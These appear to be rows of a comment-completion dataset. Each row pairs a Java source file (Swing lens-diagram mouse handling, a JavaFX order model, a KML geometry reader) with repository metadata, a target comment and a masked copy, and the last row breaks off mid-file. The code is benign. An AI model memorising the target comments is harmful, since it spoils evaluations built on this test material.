public void mousePressed(MouseEvent e) {
x = e.getX();
y = e.getY();
}
/**
* Checks for dragging lens boxes and property labels.
* @param e the mouse event
*/
public void mouseDragged(MouseEvent e) {
int dx = e.getX() - x;
int dy = e.getY() - y;
if (selected == null) {
//selecteer een lensbox of property label
for (LensBox lb: diagram.getLensBoxes()) {
if (lb.contains(x, y)) {
//in ieder geval lensbox geselecteerd, maar misschien ook wel property label
selected = lb;
lb.setZIndex(diagram.getMaxZIndex()+1);
for (PropertyLabel pl: lb.getPropertyLabels()) {
if (pl.contains(x, y)) {
selected = pl;
}
}
}
}
}
if (selected != null) {
double newx = selected.getX() + dx;
double newy = selected.getY() + dy;
selected.setPosition(new Point2D.Double(newx, newy));
doRepaint();
}
x = e.getX();
y = e.getY();
}
/**
* Checks for dragging lens boxes and property labels.
* @param e the mouse event
*/
public void mouseReleased(MouseEvent e) {
if (selected instanceof PropertyLabel) {
PropertyLabel pl = (PropertyLabel) selected;
pl.changeIndex();
doRepaint();
}
else if (selected instanceof LensBox){
LensBox lb = (LensBox) selected;
diagram.arrangeOverlap(lb);
doRepaint();
}
selected = null;
doRepaint();
}
/**
* repaint the diagram.
*/
private void doRepaint() {
try {
setBusyCursor();
diagram.getParent().repaint();
diagram.draw();
} finally {
setDefaultCursor();
}
}
/**
* this method sets a busy cursor
*/
private void setBusyCursor(){
diagram.setCursor(Cursor.getPredefinedCursor(Cursor.WAIT_CURSOR));
}
/**
* this method sets the default cursor
*/
private void setDefaultCursor(){
diagram.setCursor(Cursor.getPredefinedCursor(Cursor.DEFAULT_CURSOR));
}
}
| ABI-Team-30/Fresnel-Forms | src/main/java/nl/ou/fresnelforms/view/LensDiagramMouseAdapter.java | 1,799 | //selecteer een lensbox of property label
| line_comment | nl | package nl.ou.fresnelforms.view;
import java.awt.Cursor;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.geom.Point2D;
import javax.swing.SwingUtilities;
/**
* Mouse listener for all actions performed on lens boxes and property labels.
*/
public class LensDiagramMouseAdapter extends MouseAdapter {
private LensDiagram diagram;
private int x = 0;
private int y = 0;
private LensDiagramComponent selected = null;
/**
* Constructor.
* @param diagram lens diagram to listen to
*/
public LensDiagramMouseAdapter(LensDiagram diagram) {
this.diagram = diagram;
}
/**
* Checks for mouse overs on lens boxes and property labels and mouse exits from menus.
* @param e the mouseevent
*/
public void mouseMoved(MouseEvent e) {
double x = e.getX();
double y = e.getY();
Point2D p = new Point2D.Double(x, y);
for (LensBox lb: diagram.getLensBoxes()) {
if (!lb.isMouseOver() && lb.contains(p)) {
lb.setMouseOver(true);
doRepaint();
} else if (lb.isMouseOver() && !lb.contains(p)){
lb.setMouseOver(false);
doRepaint();
}
}
}
/**
* Checks for mouse clicks on menu options, lens boxes and property labels.
* @param e the mousevent
*/
public void mouseClicked(MouseEvent e) {
x = e.getX();
y = e.getY();
Point2D p = new Point2D.Double(x, y);
for (LensBox lb: diagram.getLensBoxes()) {
if (lb.contains(p)) {
//The click is on the lensbox
//Check for click on a property label
for (PropertyLabel pl: lb.getPropertyLabels()) {
if (pl.contains(p)) {
if (SwingUtilities.isLeftMouseButton(e)) {
pl.getPropertyBinding().setShown(!pl.getPropertyBinding().isShown());
doRepaint();
return;
} else if (SwingUtilities.isRightMouseButton(e)) {
PropertyLabelRightClickMenu menu = new PropertyLabelRightClickMenu(pl);
menu.show(e.getComponent(), x, y);
doRepaint();
return;
}
}
}
//The mouseclick is on the lens and not on a property label
if (SwingUtilities.isLeftMouseButton(e)) {
//With the left mouse button the lensbox is selected or deselected
lb.setSelected(! lb.isSelected());
doRepaint();
return;
} else if (SwingUtilities.isRightMouseButton(e)) {
//With the right mouse button the popup menus for the lensbox is activated
LensBoxRightClickMenu menu = new LensBoxRightClickMenu(lb);
menu.show(e.getComponent(), x, y);
doRepaint();
return;
}
}
}
//No lensbox clicked so it must be the diagram.
if (SwingUtilities.isRightMouseButton(e)) {
//Activate the right mousebutton popup menu for the diagram
LensDiagramRightClickMenu menu = new LensDiagramRightClickMenu(diagram);
menu.show(e.getComponent(), x, y);
doRepaint();
}
}
/**
* The mouse pressed event handler.
* @param e the mouse event
*/
public void mousePressed(MouseEvent e) {
x = e.getX();
y = e.getY();
}
/**
* Checks for dragging lens boxes and property labels.
* @param e the mouse event
*/
public void mouseDragged(MouseEvent e) {
int dx = e.getX() - x;
int dy = e.getY() - y;
if (selected == null) {
//selecteer een<SUF>
for (LensBox lb: diagram.getLensBoxes()) {
if (lb.contains(x, y)) {
//in ieder geval lensbox geselecteerd, maar misschien ook wel property label
selected = lb;
lb.setZIndex(diagram.getMaxZIndex()+1);
for (PropertyLabel pl: lb.getPropertyLabels()) {
if (pl.contains(x, y)) {
selected = pl;
}
}
}
}
}
if (selected != null) {
double newx = selected.getX() + dx;
double newy = selected.getY() + dy;
selected.setPosition(new Point2D.Double(newx, newy));
doRepaint();
}
x = e.getX();
y = e.getY();
}
/**
* Checks for dragging lens boxes and property labels.
* @param e the mouse event
*/
public void mouseReleased(MouseEvent e) {
if (selected instanceof PropertyLabel) {
PropertyLabel pl = (PropertyLabel) selected;
pl.changeIndex();
doRepaint();
}
else if (selected instanceof LensBox){
LensBox lb = (LensBox) selected;
diagram.arrangeOverlap(lb);
doRepaint();
}
selected = null;
doRepaint();
}
/**
* repaint the diagram.
*/
private void doRepaint() {
try {
setBusyCursor();
diagram.getParent().repaint();
diagram.draw();
} finally {
setDefaultCursor();
}
}
/**
* this method sets a busy cursor
*/
private void setBusyCursor(){
diagram.setCursor(Cursor.getPredefinedCursor(Cursor.WAIT_CURSOR));
}
/**
* this method sets the default cursor
*/
private void setDefaultCursor(){
diagram.setCursor(Cursor.getPredefinedCursor(Cursor.DEFAULT_CURSOR));
}
}
|
182790_0 | package be.zetta.logisticsdesktop.gui.magazijnier;
import be.zetta.logisticsdesktop.domain.order.entity.OrderStatus;
import be.zetta.logisticsdesktop.domain.order.entity.dto.CustomerOrderDto;
import be.zetta.logisticsdesktop.domain.order.entity.dto.OrderLineDto;
import be.zetta.logisticsdesktop.domain.packaging.entity.dto.PackagingDto;
import be.zetta.logisticsdesktop.domain.transport.entity.dto.TransportDto;
import javafx.beans.property.*;
import javafx.collections.FXCollections;
import java.util.EnumSet;
public class BestellingenModel {
// String properties zijn bidirectioneel verbonden met de text velden in de controller
private final StringProperty trackAndTraceProperty ;
private final StringProperty orderStatusProperty;
private final StringProperty orderDateProperty;
private final StringProperty orderIdProperty;
private final StringProperty customerNameProperty;
private final StringProperty purchaserNameProperty;
private final StringProperty purchaserEmailProperty;
private final StringProperty totalSumProperty;
private final StringProperty deliveryAddressProperty;
private final ObjectProperty<TransportDto> transportDtoObjectProperty;
private final ListProperty<PackagingDto> packagingListProperty;
private final ListProperty<OrderLineDto> orderLinesProperty;
private CustomerOrderDto orderDto;
private CustomerOrderDto orderDtoBefore;
public BestellingenModel(CustomerOrderDto orderDto) {
this.orderDto = orderDto;
this.orderDtoBefore = orderDto;
trackAndTraceProperty = new SimpleStringProperty(orderDto.getTrackTraceCode());
orderStatusProperty = new SimpleStringProperty(orderDto.getStatus().name());
orderDateProperty = new SimpleStringProperty(orderDto.getOrderDate().toString());
transportDtoObjectProperty = new SimpleObjectProperty<>(orderDto.getTransport());
orderIdProperty = new SimpleStringProperty(orderDto.getOrderId());
customerNameProperty = new SimpleStringProperty(orderDto.getCustomer().getName());
purchaserNameProperty = new SimpleStringProperty(orderDto.getPurchaser().getFirstName() + " " + orderDto.getPurchaser().getLastName());
purchaserEmailProperty = new SimpleStringProperty(orderDto.getPurchaser().getEmail());
packagingListProperty = new SimpleListProperty<>(FXCollections.observableArrayList(orderDto.getPackaging()));
totalSumProperty = new SimpleStringProperty(Double.toString(orderDto.getOrderLines()
.stream()
.mapToDouble(l -> l.getQuantityOrdered() * l.getUnitPriceOrderLine()).sum()));
deliveryAddressProperty = new SimpleStringProperty(orderDto.getDeliveryAddress().getStreet()
+ " " + orderDto.getDeliveryAddress().getHouseNumber()
+ "\n" + orderDto.getDeliveryAddress().getCountry()
+ " " + orderDto.getDeliveryAddress().getPostalCode());
orderLinesProperty = new SimpleListProperty<>(FXCollections.observableArrayList(orderDto.getOrderLines()));
// Listeners are needed to change the value in the DTO when user made changes
trackAndTraceProperty.addListener((observableValue, s, t1) -> this.orderDto.setTrackTraceCode(t1));
orderStatusProperty.addListener((observableValue, s, t1) -> {
if(EnumSet.allOf(OrderStatus.class)
.stream()
.anyMatch(e -> e.name().equals(t1))){
this.orderDto.setStatus(OrderStatus.valueOf(t1));
}
});
transportDtoObjectProperty.addListener((observableValue, transportDto, t1) -> this.orderDto.setTransport(t1));
purchaserEmailProperty.addListener((observableValue, s, t1) -> this.orderDto.getPurchaser().setEmail(t1));
}
public CustomerOrderDto getUpdatedOrder() {
return this.orderDto;
}
public void revertChanges() {
updateCustomerOrderModel(orderDtoBefore);
}
public void updateCustomerOrderModel(CustomerOrderDto orderDto){
// This method is needed to update the FE when data was changed in the BE
this.orderDto = orderDto;
this.orderDtoBefore = orderDto;
trackAndTraceProperty.set(orderDto.getTrackTraceCode());
orderStatusProperty.set(orderDto.getStatus().name());
orderDateProperty.set(orderDto.getOrderDate().toString());
transportDtoObjectProperty.set(orderDto.getTransport());
orderIdProperty.set(orderDto.getOrderId());
customerNameProperty.set(orderDto.getCustomer().getName());
purchaserNameProperty.set(orderDto.getPurchaser().getFirstName() + " " + orderDto.getPurchaser().getLastName());
purchaserEmailProperty.set(orderDto.getPurchaser().getEmail());
packagingListProperty.set(FXCollections.observableArrayList(orderDto.getPackaging()));
totalSumProperty.set(Double.toString(orderDto.getOrderLines()
.stream()
.mapToDouble(l -> l.getQuantityOrdered() * l.getUnitPriceOrderLine()).sum()));
deliveryAddressProperty.set(orderDto.getDeliveryAddress().getStreet()
+ " " + orderDto.getDeliveryAddress().getHouseNumber()
+ "\n" + orderDto.getDeliveryAddress().getCountry()
+ " " + orderDto.getDeliveryAddress().getPostalCode());
orderLinesProperty.set(FXCollections.observableArrayList(orderDto.getOrderLines()));
}
public ListProperty<OrderLineDto> orderLinesProperty() {
return orderLinesProperty;
}
public ObjectProperty<TransportDto> getTransportDtoObjectProperty() {
return transportDtoObjectProperty;
}
public StringProperty getTrackAndTraceProperty() {
return trackAndTraceProperty;
}
public StringProperty getOrderStatusProperty() {
return orderStatusProperty;
}
public StringProperty getOrderDateProperty() {
return orderDateProperty;
}
public StringProperty getOrderIdProperty() {
return orderIdProperty;
}
public StringProperty getCustomerNameProperty() {
return customerNameProperty;
}
public StringProperty getPurchaserNameProperty() {
return purchaserNameProperty;
}
public StringProperty getPurchaserEmailProperty() {
return purchaserEmailProperty;
}
public StringProperty getDeliveryAddressProperty() {
return deliveryAddressProperty;
}
public StringProperty getTotalSumProperty() {
return totalSumProperty;
}
public ListProperty<PackagingDto> getPackagingListProperty() {
return packagingListProperty;
}
}
| AFIRO/logistics-desktop | src/main/java/be/zetta/logisticsdesktop/gui/magazijnier/BestellingenModel.java | 1,810 | // String properties zijn bidirectioneel verbonden met de text velden in de controller | line_comment | nl | package be.zetta.logisticsdesktop.gui.magazijnier;
import be.zetta.logisticsdesktop.domain.order.entity.OrderStatus;
import be.zetta.logisticsdesktop.domain.order.entity.dto.CustomerOrderDto;
import be.zetta.logisticsdesktop.domain.order.entity.dto.OrderLineDto;
import be.zetta.logisticsdesktop.domain.packaging.entity.dto.PackagingDto;
import be.zetta.logisticsdesktop.domain.transport.entity.dto.TransportDto;
import javafx.beans.property.*;
import javafx.collections.FXCollections;
import java.util.EnumSet;
public class BestellingenModel {
// String properties<SUF>
private final StringProperty trackAndTraceProperty ;
private final StringProperty orderStatusProperty;
private final StringProperty orderDateProperty;
private final StringProperty orderIdProperty;
private final StringProperty customerNameProperty;
private final StringProperty purchaserNameProperty;
private final StringProperty purchaserEmailProperty;
private final StringProperty totalSumProperty;
private final StringProperty deliveryAddressProperty;
private final ObjectProperty<TransportDto> transportDtoObjectProperty;
private final ListProperty<PackagingDto> packagingListProperty;
private final ListProperty<OrderLineDto> orderLinesProperty;
private CustomerOrderDto orderDto;
private CustomerOrderDto orderDtoBefore;
public BestellingenModel(CustomerOrderDto orderDto) {
this.orderDto = orderDto;
this.orderDtoBefore = orderDto;
trackAndTraceProperty = new SimpleStringProperty(orderDto.getTrackTraceCode());
orderStatusProperty = new SimpleStringProperty(orderDto.getStatus().name());
orderDateProperty = new SimpleStringProperty(orderDto.getOrderDate().toString());
transportDtoObjectProperty = new SimpleObjectProperty<>(orderDto.getTransport());
orderIdProperty = new SimpleStringProperty(orderDto.getOrderId());
customerNameProperty = new SimpleStringProperty(orderDto.getCustomer().getName());
purchaserNameProperty = new SimpleStringProperty(orderDto.getPurchaser().getFirstName() + " " + orderDto.getPurchaser().getLastName());
purchaserEmailProperty = new SimpleStringProperty(orderDto.getPurchaser().getEmail());
packagingListProperty = new SimpleListProperty<>(FXCollections.observableArrayList(orderDto.getPackaging()));
totalSumProperty = new SimpleStringProperty(Double.toString(orderDto.getOrderLines()
.stream()
.mapToDouble(l -> l.getQuantityOrdered() * l.getUnitPriceOrderLine()).sum()));
deliveryAddressProperty = new SimpleStringProperty(orderDto.getDeliveryAddress().getStreet()
+ " " + orderDto.getDeliveryAddress().getHouseNumber()
+ "\n" + orderDto.getDeliveryAddress().getCountry()
+ " " + orderDto.getDeliveryAddress().getPostalCode());
orderLinesProperty = new SimpleListProperty<>(FXCollections.observableArrayList(orderDto.getOrderLines()));
// Listeners are needed to change the value in the DTO when user made changes
trackAndTraceProperty.addListener((observableValue, s, t1) -> this.orderDto.setTrackTraceCode(t1));
orderStatusProperty.addListener((observableValue, s, t1) -> {
if(EnumSet.allOf(OrderStatus.class)
.stream()
.anyMatch(e -> e.name().equals(t1))){
this.orderDto.setStatus(OrderStatus.valueOf(t1));
}
});
transportDtoObjectProperty.addListener((observableValue, transportDto, t1) -> this.orderDto.setTransport(t1));
purchaserEmailProperty.addListener((observableValue, s, t1) -> this.orderDto.getPurchaser().setEmail(t1));
}
public CustomerOrderDto getUpdatedOrder() {
return this.orderDto;
}
public void revertChanges() {
updateCustomerOrderModel(orderDtoBefore);
}
public void updateCustomerOrderModel(CustomerOrderDto orderDto){
// This method is needed to update the FE when data was changed in the BE
this.orderDto = orderDto;
this.orderDtoBefore = orderDto;
trackAndTraceProperty.set(orderDto.getTrackTraceCode());
orderStatusProperty.set(orderDto.getStatus().name());
orderDateProperty.set(orderDto.getOrderDate().toString());
transportDtoObjectProperty.set(orderDto.getTransport());
orderIdProperty.set(orderDto.getOrderId());
customerNameProperty.set(orderDto.getCustomer().getName());
purchaserNameProperty.set(orderDto.getPurchaser().getFirstName() + " " + orderDto.getPurchaser().getLastName());
purchaserEmailProperty.set(orderDto.getPurchaser().getEmail());
packagingListProperty.set(FXCollections.observableArrayList(orderDto.getPackaging()));
totalSumProperty.set(Double.toString(orderDto.getOrderLines()
.stream()
.mapToDouble(l -> l.getQuantityOrdered() * l.getUnitPriceOrderLine()).sum()));
deliveryAddressProperty.set(orderDto.getDeliveryAddress().getStreet()
+ " " + orderDto.getDeliveryAddress().getHouseNumber()
+ "\n" + orderDto.getDeliveryAddress().getCountry()
+ " " + orderDto.getDeliveryAddress().getPostalCode());
orderLinesProperty.set(FXCollections.observableArrayList(orderDto.getOrderLines()));
}
public ListProperty<OrderLineDto> orderLinesProperty() {
return orderLinesProperty;
}
public ObjectProperty<TransportDto> getTransportDtoObjectProperty() {
return transportDtoObjectProperty;
}
public StringProperty getTrackAndTraceProperty() {
return trackAndTraceProperty;
}
public StringProperty getOrderStatusProperty() {
return orderStatusProperty;
}
public StringProperty getOrderDateProperty() {
return orderDateProperty;
}
public StringProperty getOrderIdProperty() {
return orderIdProperty;
}
public StringProperty getCustomerNameProperty() {
return customerNameProperty;
}
public StringProperty getPurchaserNameProperty() {
return purchaserNameProperty;
}
public StringProperty getPurchaserEmailProperty() {
return purchaserEmailProperty;
}
public StringProperty getDeliveryAddressProperty() {
return deliveryAddressProperty;
}
public StringProperty getTotalSumProperty() {
return totalSumProperty;
}
public ListProperty<PackagingDto> getPackagingListProperty() {
return packagingListProperty;
}
}
|
128058_12 | package eu.linkedeodata.geotriples.geotiff;
//package org.locationtech.jtsexample.io.gml2;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.LineNumberReader;
import java.io.Reader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import org.apache.commons.collections.CollectionUtils;
import org.xml.sax.Attributes;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.DefaultHandler;
import org.locationtech.jts.geom.CoordinateSequence;
import org.locationtech.jts.geom.CoordinateSequenceFactory;
import org.locationtech.jts.geom.CoordinateSequences;
import org.locationtech.jts.geom.Geometry;
import org.locationtech.jts.geom.GeometryCollection;
import org.locationtech.jts.geom.GeometryFactory;
import org.locationtech.jts.geom.LinearRing;
import org.locationtech.jts.geom.Point;
import org.locationtech.jts.io.WKTWriter;
import org.locationtech.jts.io.gml2.GMLConstants;
import org.locationtech.jts.io.gml2.GMLHandler;
import org.locationtech.jts.io.gml2.GMLWriter;
/**
* An example of using the {@link GMLHandler} class to read geometry data out of
* KML files.
*
* @author mbdavis
*
*/
public class GeoTiffReaderExample {
public static void main(String[] args) throws Exception {
String filename = "/Users/Admin/Downloads/states.kml";
GeoTiffReader2 rdr = new GeoTiffReader2(filename,"R2RMLPrimaryKey");
rdr.read();
}
}
class GeoTiffReader2 {
private String filename;
private String primarykey;
private List<GeoTiffResultRow> results=new ArrayList<GeoTiffResultRow>();
public GeoTiffReader2(String filename,String primarykey) {
this.filename = filename;
this.primarykey=primarykey;
}
public List<GeoTiffResultRow> getResults()
{
return results;
}
public void read() throws IOException, SAXException {
XMLReader xr;
xr = new org.apache.xerces.parsers.SAXParser();
KMLHandler kmlHandler = new KMLHandler();
xr.setContentHandler(kmlHandler);
xr.setErrorHandler(kmlHandler);
Reader r = new BufferedReader(new FileReader(filename));
LineNumberReader myReader = new LineNumberReader(r);
xr.parse(new InputSource(myReader));
// List geoms = kmlHandler.getGeometries();
}
private class KMLHandler extends DefaultHandler {
GeoTiffResultRow row;
public final String[] SET_VALUES = new String[] { "name", "address",
"phonenumber", "visibility", "open", "description", "LookAt",
"Style", "Region", "Geometry" , "MultiGeometry"};
public final Set<String> LEGALNAMES = new HashSet<String>(
Arrays.asList(SET_VALUES));
@SuppressWarnings("rawtypes")
private List geoms = new ArrayList();;
private GMLHandler currGeomHandler;
private String lastEltName = null;
private String lastEltData = "";
private GeometryFactory fact = new FixingGeometryFactory();
private boolean placemarkactive = false;
private Set<String> visits = new HashSet<String>();
public KMLHandler() {
super();
}
@SuppressWarnings({ "unused", "rawtypes" })
public List getGeometries() {
return geoms;
}
/**
* SAX handler. Handle state and state transitions based on an element
* starting.
*
* @param uri
* Description of the Parameter
* @param name
* Description of the Parameter
* @param qName
* Description of the Parameter
* @param atts
* Description of the Parameter
* @exception SAXException
* Description of the Exception
*/
public void startElement(String uri, String name, String qName,
Attributes atts) throws SAXException {
if (name.equals("Placemark")) {
placemarkactive = true;
row=new GeoTiffResultRow(); //new row result;
}
visits.add(name);
if (placemarkactive && !CollectionUtils.intersection(visits, LEGALNAMES).isEmpty()) {
//if (name.equalsIgnoreCase(GMLConstants.GML_POLYGON)
// || name.equalsIgnoreCase(GMLConstants.GML_POINT)
//|| name.equalsIgnoreCase(GMLConstants.GML_MULTI_GEOMETRY)) {
if (name.equalsIgnoreCase(GMLConstants.GML_MULTI_GEOMETRY)) {
currGeomHandler = new GMLHandler(fact, null);
}
if (currGeomHandler != null)
currGeomHandler.startElement(uri, name, qName, atts);
if (currGeomHandler == null) {
lastEltName = name;
// System.out.println(name);
}
}
}
public void characters(char[] ch, int start, int length)
throws SAXException {
if (placemarkactive
&& !CollectionUtils.intersection(visits, LEGALNAMES).isEmpty()) {
if (currGeomHandler != null) {
currGeomHandler.characters(ch, start, length);
} else {
String content = new String(ch, start, length).trim();
if (content.length() > 0) {
lastEltData+=content;
//System.out.println(lastEltName + "= " + content);
}
}
}
}
public void ignorableWhitespace(char[] ch, int start, int length)
throws SAXException {
if (currGeomHandler != null)
currGeomHandler.ignorableWhitespace(ch, start, length);
}
/**
* SAX handler - handle state information and transitions based on ending
* elements.
*
* @param uri
* Description of the Parameter
* @param name
* Description of the Parameter
* @param qName
* Description of the Parameter
* @exception SAXException
* Description of the Exception
*/
@SuppressWarnings({ "unused", "unchecked" })
public void endElement(String uri, String name, String qName)
throws SAXException {
// System.out.println("/" + name);
//System.out.println("the ena name="+name);
if (placemarkactive && !CollectionUtils.intersection(visits, LEGALNAMES).isEmpty()
&& currGeomHandler==null && !lastEltData.isEmpty()) {
//System.out.println(lastEltName + " " + lastEltData);
row.addPair(lastEltName, lastEltData);
}
lastEltData="";
if (name.equals("Placemark")) {
placemarkactive = false;
try {
row.addPair(GeoTiffReader2.this.primarykey, KeyGenerator.Generate());
} catch (Exception e) {
e.printStackTrace();
System.exit(0);
}
GeoTiffReader2.this.results.add(row);
}
visits.remove(name);
if (currGeomHandler != null) {
currGeomHandler.endElement(uri, name, qName);
if (currGeomHandler.isGeometryComplete()) {
Geometry g = currGeomHandler.getGeometry();
WKTWriter wkt_writer=new WKTWriter();
GMLWriter gml_writer = new GMLWriter();
if (g.getClass().equals(org.locationtech.jts.geom.Point.class)) {
Point geometry = (org.locationtech.jts.geom.Point) g;
row.addPair("isEmpty", geometry.isEmpty());
row.addPair("isSimple", geometry.isSimple());
row.addPair("dimension",
geometry.getCoordinates().length);
row.addPair("coordinateDimension",
geometry.getCoordinates().length);
row.addPair("spatialDimension", geometry.getDimension()); // spatialdimension
// <=
// dimension
// System.out.println(geometry.getCoordinate().x + " "
// +geometry.getCoordinate().z);
// System.out.println(geometry.get .getSRID());
// CRS.
String crs="2311";
if (crs == null) {
System.err.println("No SRID specified. Aborting...");
System.exit(-1);
}
row.addPair("asWKT",
"<http://www.opengis.net/def/crs/EPSG/0/" + crs
+ ">" + wkt_writer.write(geometry));
row.addPair("hasSerialization",
"<http://www.opengis.net/def/crs/EPSG/0/" + crs
+ ">" + wkt_writer.write(geometry));
// newrow.addPair("hasSerialization",
// wkt_writer.write(geometry));
gml_writer.setSrsName(crs);
row.addPair("asGML", gml_writer.write(geometry)
.replaceAll("\n", " "));
row.addPair("is3D", geometry.getDimension() == 3);
} else {
GeometryCollection geometry = (GeometryCollection) g;
row.addPair("isEmpty", geometry.isEmpty());
row.addPair("isSimple", geometry.isSimple());
row.addPair("dimension",
geometry.getCoordinates().length);
row.addPair("coordinateDimension",
geometry.getCoordinates().length);
row.addPair("spatialDimension", geometry.getDimension()); // spatialdimension
// <=
// dimension
// System.out.println(geometry.getCoordinate().x + " "
// +geometry.getCoordinate().z);
// System.out.println(geometry.get .getSRID());
// CRS.
String crs="2323";
if (crs == null) {
System.err.println("No SRID specified. Aborting...");
System.exit(-1);
}
// geometry.getNumPoints();
// TODO spatialDimension??????
// TODO coordinateDimension??????
// Geometry geometry1=
// (Geometry)sourceGeometryAttribute.getValue();
// geometry1.transform(arg0, arg1)
// sourceGeometryAttribute.ge
row.addPair("asWKT",
"<http://www.opengis.net/def/crs/EPSG/0/" + crs
+ ">" + wkt_writer.write(geometry));
row.addPair("hasSerialization",
"<http://www.opengis.net/def/crs/EPSG/0/" + crs
+ ">" + wkt_writer.write(geometry));
// newrow.addPair("hasSerialization",
// wkt_writer.write(geometry));
gml_writer
.setSrsName("http://www.opengis.net/def/crs/EPSG/0/"
+ crs);
row.addPair("asGML", gml_writer.write(geometry)
.replaceAll("\n", " "));
row.addPair("is3D", geometry.getDimension() == 3);
}
//System.out.println(g);
//System.out.println(ww.write(g));
geoms.add(g);
// reset to indicate no longer parsing geometry
currGeomHandler = null;
}
}
}
}
}
/**
* A GeometryFactory extension which fixes structurally bad coordinate sequences
* used to create LinearRings.
*
* @author mbdavis
*
*/
@SuppressWarnings("serial")
class FixingGeometryFactory extends GeometryFactory {
public LinearRing createLinearRing(CoordinateSequence cs) {
if (cs.getCoordinate(0).equals(cs.getCoordinate(cs.size() - 1)))
return super.createLinearRing(cs);
// add a new coordinate to close the ring
CoordinateSequenceFactory csFact = getCoordinateSequenceFactory();
CoordinateSequence csNew = csFact.create(cs.size() + 1,
cs.getDimension());
CoordinateSequences.copy(cs, 0, csNew, 0, cs.size());
CoordinateSequences.copyCoord(csNew, 0, csNew, csNew.size() - 1);
return super.createLinearRing(csNew);
}
}
| AI-team-UoA/GeoTriples | geotriples-processors/geotriples-r2rml/src/main/java/eu/linkedeodata/geotriples/geotiff/GeoTiffReaderExample.java | 3,796 | //www.opengis.net/def/crs/EPSG/0/" + crs
| line_comment | nl | package eu.linkedeodata.geotriples.geotiff;
//package org.locationtech.jtsexample.io.gml2;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.LineNumberReader;
import java.io.Reader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import org.apache.commons.collections.CollectionUtils;
import org.xml.sax.Attributes;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.DefaultHandler;
import org.locationtech.jts.geom.CoordinateSequence;
import org.locationtech.jts.geom.CoordinateSequenceFactory;
import org.locationtech.jts.geom.CoordinateSequences;
import org.locationtech.jts.geom.Geometry;
import org.locationtech.jts.geom.GeometryCollection;
import org.locationtech.jts.geom.GeometryFactory;
import org.locationtech.jts.geom.LinearRing;
import org.locationtech.jts.geom.Point;
import org.locationtech.jts.io.WKTWriter;
import org.locationtech.jts.io.gml2.GMLConstants;
import org.locationtech.jts.io.gml2.GMLHandler;
import org.locationtech.jts.io.gml2.GMLWriter;
/**
* An example of using the {@link GMLHandler} class to read geometry data out of
* KML files.
*
* @author mbdavis
*
*/
public class GeoTiffReaderExample {
public static void main(String[] args) throws Exception {
String filename = "/Users/Admin/Downloads/states.kml";
GeoTiffReader2 rdr = new GeoTiffReader2(filename,"R2RMLPrimaryKey");
rdr.read();
}
}
class GeoTiffReader2 {
private String filename;
private String primarykey;
private List<GeoTiffResultRow> results=new ArrayList<GeoTiffResultRow>();
public GeoTiffReader2(String filename,String primarykey) {
this.filename = filename;
this.primarykey=primarykey;
}
public List<GeoTiffResultRow> getResults()
{
return results;
}
public void read() throws IOException, SAXException {
XMLReader xr;
xr = new org.apache.xerces.parsers.SAXParser();
KMLHandler kmlHandler = new KMLHandler();
xr.setContentHandler(kmlHandler);
xr.setErrorHandler(kmlHandler);
Reader r = new BufferedReader(new FileReader(filename));
LineNumberReader myReader = new LineNumberReader(r);
xr.parse(new InputSource(myReader));
// List geoms = kmlHandler.getGeometries();
}
private class KMLHandler extends DefaultHandler {
GeoTiffResultRow row;
public final String[] SET_VALUES = new String[] { "name", "address",
"phonenumber", "visibility", "open", "description", "LookAt",
"Style", "Region", "Geometry" , "MultiGeometry"};
public final Set<String> LEGALNAMES = new HashSet<String>(
Arrays.asList(SET_VALUES));
@SuppressWarnings("rawtypes")
private List geoms = new ArrayList();;
private GMLHandler currGeomHandler;
private String lastEltName = null;
private String lastEltData = "";
private GeometryFactory fact = new FixingGeometryFactory();
private boolean placemarkactive = false;
private Set<String> visits = new HashSet<String>();
public KMLHandler() {
super();
}
@SuppressWarnings({ "unused", "rawtypes" })
public List getGeometries() {
return geoms;
}
/**
* SAX handler. Handle state and state transitions based on an element
* starting.
*
* @param uri
* Description of the Parameter
* @param name
* Description of the Parameter
* @param qName
* Description of the Parameter
* @param atts
* Description of the Parameter
* @exception SAXException
* Description of the Exception
*/
public void startElement(String uri, String name, String qName,
Attributes atts) throws SAXException {
if (name.equals("Placemark")) {
placemarkactive = true;
row=new GeoTiffResultRow(); //new row result;
}
visits.add(name);
if (placemarkactive && !CollectionUtils.intersection(visits, LEGALNAMES).isEmpty()) {
//if (name.equalsIgnoreCase(GMLConstants.GML_POLYGON)
// || name.equalsIgnoreCase(GMLConstants.GML_POINT)
//|| name.equalsIgnoreCase(GMLConstants.GML_MULTI_GEOMETRY)) {
if (name.equalsIgnoreCase(GMLConstants.GML_MULTI_GEOMETRY)) {
currGeomHandler = new GMLHandler(fact, null);
}
if (currGeomHandler != null)
currGeomHandler.startElement(uri, name, qName, atts);
if (currGeomHandler == null) {
lastEltName = name;
// System.out.println(name);
}
}
}
public void characters(char[] ch, int start, int length)
throws SAXException {
if (placemarkactive
&& !CollectionUtils.intersection(visits, LEGALNAMES).isEmpty()) {
if (currGeomHandler != null) {
currGeomHandler.characters(ch, start, length);
} else {
String content = new String(ch, start, length).trim();
if (content.length() > 0) {
lastEltData+=content;
//System.out.println(lastEltName + "= " + content);
}
}
}
}
public void ignorableWhitespace(char[] ch, int start, int length)
throws SAXException {
if (currGeomHandler != null)
currGeomHandler.ignorableWhitespace(ch, start, length);
}
/**
* SAX handler - handle state information and transitions based on ending
* elements.
*
* @param uri
* Description of the Parameter
* @param name
* Description of the Parameter
* @param qName
* Description of the Parameter
* @exception SAXException
* Description of the Exception
*/
@SuppressWarnings({ "unused", "unchecked" })
public void endElement(String uri, String name, String qName)
throws SAXException {
// System.out.println("/" + name);
//System.out.println("the ena name="+name);
if (placemarkactive && !CollectionUtils.intersection(visits, LEGALNAMES).isEmpty()
&& currGeomHandler==null && !lastEltData.isEmpty()) {
//System.out.println(lastEltName + " " + lastEltData);
row.addPair(lastEltName, lastEltData);
}
lastEltData="";
if (name.equals("Placemark")) {
placemarkactive = false;
try {
row.addPair(GeoTiffReader2.this.primarykey, KeyGenerator.Generate());
